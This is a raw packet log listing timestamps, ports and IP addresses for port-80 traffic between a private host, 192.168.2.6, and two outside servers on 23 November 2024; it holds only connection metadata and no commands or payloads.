Nov 23, 2024 13:28:32.454401016 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.454446077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.454531908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.454572916 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.455445051 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.455488920 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.455535889 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.455548048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.455566883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.455588102 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.455590010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.456428051 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.456520081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.456567049 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.457159042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.457457066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.457504034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.457508087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.457536936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.457865953 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.458479881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.458538055 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.458569050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.458611965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.459541082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.459597111 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.459650993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.459693909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.460547924 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.460599899 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.460663080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.460786104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.461560011 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.461621046 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.461659908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.461707115 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.462594986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.462640047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.462696075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.462743044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.463633060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.463699102 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.463737965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.463779926 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.464678049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.464724064 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.464795113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.464838028 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.465671062 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.465717077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.496516943 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.496584892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.496651888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.562128067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.562208891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.562330961 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.563791990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.581167936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.581218958 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.581254959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.582792044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.582839966 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.582895041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.586292028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.586344004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.587126970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.587202072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.587239027 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.590368032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.590497017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.590555906 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.593746901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.624032021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.624097109 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.624144077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.625534058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.625579119 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.625605106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.665905952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.665978909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.666053057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.666781902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.666925907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.666984081 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.670092106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.670162916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.670216084 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.676862001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.676903963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.676959991 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.678404093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.736268044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.768868923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.769031048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.769097090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.769908905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.769965887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.770020962 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.773123980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.773200989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.773277044 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.811306953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.811389923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.811436892 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.812808990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.812927961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.812968969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.816184998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.834167957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.834177971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.834253073 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.853461981 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.853518963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.853564978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.855088949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.856729984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.876279116 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.876338005 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.876398087 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.887197971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.887208939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.887254000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.920696974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.920708895 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.920768976 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.922203064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.922663927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.922708988 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.922791958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.925970078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.926013947 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.962932110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.963088036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.963190079 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.964296103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.964731932 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.964781046 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.964905977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.968012094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.968195915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.005738974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.005753994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.005816936 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.006932974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.007265091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.007319927 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.007421970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.010642052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.010703087 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.021637917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.021648884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.021706104 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.058857918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.059010983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.059092999 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.060503006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.104909897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.105056047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.105118036 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.106607914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.107737064 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.130949974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.131021976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.131077051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.131850004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.131966114 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.133874893 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.135211945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.135334015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.135380030 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.138473034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.139468908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.139514923 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.139537096 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.142771959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.142811060 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.142843962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.172935009 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.172966957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.173002958 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.174242020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.174293041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.174465895 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.177432060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.177769899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.215471029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.215481997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.215524912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.216348886 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.216456890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.216528893 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.219625950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.219717026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.219758987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.227171898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.227236032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.227274895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.228744030 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.257934093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.257958889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.258014917 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.259515047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.259915113 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.315407038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.315532923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.315875053 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.383347988 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.383387089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.383469105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.384881020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.385030031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.385083914 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.387526989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.387667894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.387710094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.390836000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.391843081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.391896963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.391932011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.395065069 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.395121098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.614250898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.614355087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.615905046 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.615907907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.615978956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.616017103 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.656748056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.656788111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.656851053 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.658289909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.698270082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.698369026 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.698374987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.699908972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.699951887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.700012922 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.703275919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.703463078 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.740830898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.740902901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.741003036 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.742321014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.742397070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.742449999 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.745475054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.782572031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.782639027 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.782664061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.784168959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.784260035 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.784290075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.787467003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.788528919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.824927092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.825010061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.825069904 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.826502085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.826610088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.826658010 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.829806089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.867975950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.868001938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.868026972 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.868896008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.869025946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.869067907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.872224092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.872318983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.872360945 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.875519037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.875565052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.875611067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.878772020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.878850937 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.909425974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.909461021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.911093950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.911144018 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.911240101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.911566019 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.914309978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.915285110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.915430069 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.915478945 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.918551922 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.918833017 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.951571941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.951695919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.951755047 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.953224897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.953305960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.953349113 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.955585957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.955691099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.956048012 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.958836079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.992876053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.992892981 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.992958069 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.993922949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.994076967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.994119883 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.997096062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.997153044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.997205973 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:33.999460936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.999514103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:33.999563932 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.002676010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.035204887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.035249949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.035268068 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.036196947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.036237955 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.036322117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.039429903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.039472103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.039484978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.041809082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.041913033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.041964054 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.045100927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.045216084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.045270920 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.048393011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.052371979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.078365088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.078454971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.078499079 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.080003023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.080108881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.082055092 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.083318949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.083359957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.083412886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.086622000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.086786985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.086832047 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.089881897 CET	80	49758	34.116.198.130	192.168.2.6
